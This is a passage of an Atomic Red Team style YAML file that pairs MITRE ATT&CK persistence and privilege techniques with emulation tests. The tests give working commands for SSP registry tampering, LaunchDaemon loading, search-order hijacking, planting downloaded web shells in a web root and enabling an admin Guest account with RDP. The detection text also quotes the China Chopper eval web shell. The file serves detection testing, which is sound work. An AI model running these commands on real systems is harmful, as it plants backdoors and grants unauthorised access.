        The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned SSP DLLs try to load into the LSA by
        setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1547.005
    atomic_tests:
    - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider
        configuration in registry
      auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e
      description: |
        Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
        A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
      supported_platforms:
      - windows
      executor:
        command: |
          $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
          $newvalue = "AtomicTest.dll";
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
          Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old';
        name: powershell
        elevation_required: true
    - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support
        Provider configuration in registry
      auto_generated_guid: de3f8e74-3351-4fdb-a442-265dbf231738
      description: Add a value to a Windows registry SSP key, simulating an adversarial
        modification of those keys.
      supported_platforms:
      - windows
      executor:
        command: |
          $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
          $newvalue = "AtomicTest.dll";
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
          Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old';
        name: powershell
        elevation_required: true
  T1556.007:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Hybrid Identity
      description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication
        processes that are tied to on-premises user identities in order to bypass
        typical authentication mechanisms, access credentials, and enable persistent
        access to accounts.  \n\nMany organizations maintain hybrid user and device
        identities that are shared between on-premises and cloud-based environments.
        These can be maintained in a number of ways. For example, Azure AD includes
        three options for synchronizing identities between Active Directory and Azure
        AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization
        (PHS), in which a privileged on-premises account synchronizes user password
        hashes between Active Directory and Azure AD, allowing authentication to Azure
        AD to take place entirely in the cloud \n* Pass Through Authentication (PTA),
        in which Azure AD authentication attempts are forwarded to an on-premises
        PTA agent, which validates the credentials against Active Directory \n* Active
        Directory Federation Services (AD FS), in which a trust relationship is established
        between Active Directory and Azure AD \n\nAD FS can also be used with other
        SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication
        process to AD FS and receive a token containing the hybrid users’ identity
        and privileges. \n\nBy modifying authentication processes tied to hybrid identities,
        an adversary may be able to establish persistent privileged access to cloud
        resources. For example, adversaries who compromise an on-premises server running
        a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService`
        process that authorizes all attempts to authenticate to Azure AD, as well
        as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation:
        AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary
        may edit the `Microsoft.IdentityServer.Servicehost` configuration file to
        load a malicious DLL that generates authentication tokens for any user with
        any set of claims, thereby bypassing multi-factor authentication and defined
        AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able
        to modify the hybrid identity authentication process from the cloud. For example,
        adversaries who compromise a Global Administrator account in an Azure AD tenant
        may be able to register a new PTA agent via the web console, similarly allowing
        them to harvest credentials and log into the Azure AD environment as any user.(Citation:
        Mandiant Azure AD Backdoors)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: ''
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      - Google Workspace
      - Office 365
      - IaaS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f
      created: '2022-09-28T13:29:53.354Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/007
        external_id: T1556.007
      - source_name: Azure AD Connect for Read Teamers
        description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers.
          Retrieved September 28, 2022.
        url: https://blog.xpnsec.com/azuread-connect-for-redteam/
      - source_name: AADInternals Azure AD On-Prem to Cloud
        description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting
          access to cloud as an on-prem admin. Retrieved September 28, 2022.'
        url: https://o365blog.com/post/on-prem_admin/
      - source_name: MagicWeb
        description: 'Microsoft Threat Intelligence Center, Microsoft Detection and
          Response Team, Microsoft 365 Defender Research Team . (2022, August 24).
          MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved
          September 28, 2022.'
        url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/
      - source_name: Azure AD Hybrid Identity
        description: Microsoft. (2022, August 26). Choose the right authentication
          method for your Azure Active Directory hybrid identity solution. Retrieved
          September 28, 2022.
        url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn
      - source_name: Mandiant Azure AD Backdoors
        description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and
          Azure Active Directory Backdoors. Retrieved September 28, 2022.
        url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1543.004:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Create or Modify System Process: Launch Daemon'
      description: |-
        Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)

        Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)

        Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |+
        Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.

        Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)

      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Service: Service Modification'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      x_mitre_effective_permissions:
      - root
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
      created: '2020-01-17T19:23:15.227Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/004
        external_id: T1543.004
      - source_name: AppleDocs Launch Agent Daemons
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: Methods of Mac Malware Persistence
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      - source_name: launchd Keywords for plists
        description: Dennis German. (2020, November 20). launchd Keywords for plists.
          Retrieved October 7, 2021.
        url: https://www.real-world-systems.com/docs/launchdPlist.1.html
      - source_name: WireLurker
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
      - source_name: OSX Malware Detection
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
      - source_name: LaunchDaemon Hijacking
        description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege
          escalation and persistence via insecure folder permissions. Retrieved July
          26, 2021.'
        url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/
      - source_name: sentinelone macos persist Jun 2019
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1543.004
    atomic_tests:
    - name: Launch Daemon
      auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf
      description: 'Utilize LaunchDaemon to launch `Hello World`

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}
          sudo rm /Library/LaunchDaemons/#{plist_filename}
          sudo rm /tmp/T1543_004_atomicredteam.txt
    - name: Launch Daemon - Users Directory
      auto_generated_guid: 6f899f9d-8a8e-4143-89a5-26fc2c3ec438
      description: 'Utilize LaunchDaemon in /Users directory  to touch temporary file
        in /tmp

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.T1543.004.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} ~/Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |-
          sudo launchctl unload ~/Library/LaunchDaemons/#{plist_filename}
          sudo rm ~/Library/LaunchDaemons/#{plist_filename}
          sudo rm /tmp/T1543_004_atomicredteam.txt
  T1574.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      created: '2020-03-13T17:48:58.999Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/008
        external_id: T1574.008
      - source_name: Microsoft CreateProcess
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms682425
      - source_name: Windows NT Command Shell
        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
      - source_name: Microsoft WinExec
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms687393
      - source_name: Microsoft Environment Property
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.008
    atomic_tests:
    - name: powerShell Persistence via hijacking default modules - Get-Variable.exe
      auto_generated_guid: 1561de08-0b4b-498e-8261-e922f3494aae
      description: "Colibri leverages PowerShell in a unique way to maintain persistence
        after a reboot. Depending on the Windows version, Colibri drops its copy in
        %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for
        Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs"
          Powershell -noprofile
        cleanup_command: |
          Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore
          Stop-Process -Name "calculator"
        name: powershell
  T1505.003:
    technique:
      modified: '2024-04-16T12:45:06.434Z'
      name: 'Server Software Component: Web Shell'
      description: |-
        Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)

        In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Arnim Rupp, Deutsche Lufthansa AG
      x_mitre_deprecated: false
      x_mitre_detection: "Web shells can be difficult to detect. Unlike other forms
        of persistent remote access, they do not initiate connections. The portion
        of the Web shell that is on the server may be small and innocuous looking.
        The PHP version of the China Chopper Web shell, for example, is the following
        short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless,
        detection mechanisms exist. Process monitoring may be used to detect Web servers
        that perform suspicious actions such as spawning cmd.exe or accessing files
        that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile
        monitoring may be used to detect changes to files in the Web directory of
        a Web server that do not match with updates to the Web server's content and
        may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating
        Web Shells)\n\nLog authentication attempts to the server and any unusual traffic
        patterns to or from the server and internal network. (Citation: US-CERT Alert
        TA15-314A Web Shells)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Modification'
      type: attack-pattern
      id: attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb
      created: '2019-12-13T16:46:18.927Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1505/003
        external_id: T1505.003
      - source_name: NSA Cyber Mitigating Web Shells
        description: " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells.
          Retrieved July 22, 2021."
        url: https://github.com/nsacyber/Mitigating-Web-Shells
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: Lee 2013
        description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down
          the China Chopper Web Shell - Part I. Retrieved March 27, 2015.
        url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
      - source_name: US-CERT Alert TA15-314A Web Shells
        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
        url: https://www.us-cert.gov/ncas/alerts/TA15-314A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1505.003
    atomic_tests:
    - name: Web Shell Written to Disk
      auto_generated_guid: 0a2ce662-1efa-496f-a472-2fe7b080db16
      description: |
        This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
        Idea from APTSimulator.
        cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
      supported_platforms:
      - windows
      input_arguments:
        web_shell_path:
          description: The path to drop the web shell
          type: string
          default: C:\inetpub\wwwroot
        web_shells:
          description: Path of Web Shell
          type: path
          default: PathToAtomicsFolder\T1505.003\src
      dependency_executor_name: powershell
      dependencies:
      - description: 'Web shell must exist on disk at specified location (#{web_shells})

          '
        prereq_command: 'if (Test-Path "#{web_shells}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "#{web_shells}" -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx"
      executor:
        command: 'xcopy /I /Y "#{web_shells}" #{web_shell_path}

          '
        cleanup_command: |
          del #{web_shell_path}\b.jsp /q >nul 2>&1
          del #{web_shell_path}\tests.jsp /q >nul 2>&1
          del #{web_shell_path}\cmd.aspx /q >nul 2>&1
        name: command_prompt
  T1078.001:
    technique:
      modified: '2024-03-07T14:27:04.770Z'
      name: 'Valid Accounts: Default Accounts'
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      created: '2020-03-13T20:15:31.974Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/001
        external_id: T1078.001
      - source_name: AWS Root User
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
      - source_name: Microsoft Local Accounts Feb 2019
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
      - source_name: Metasploit SSH Module
        description: undefined. (n.d.). Retrieved April 12, 2019.
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
        guest_password:
          description: Specify the guest password
          type: string
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: string
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: string
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
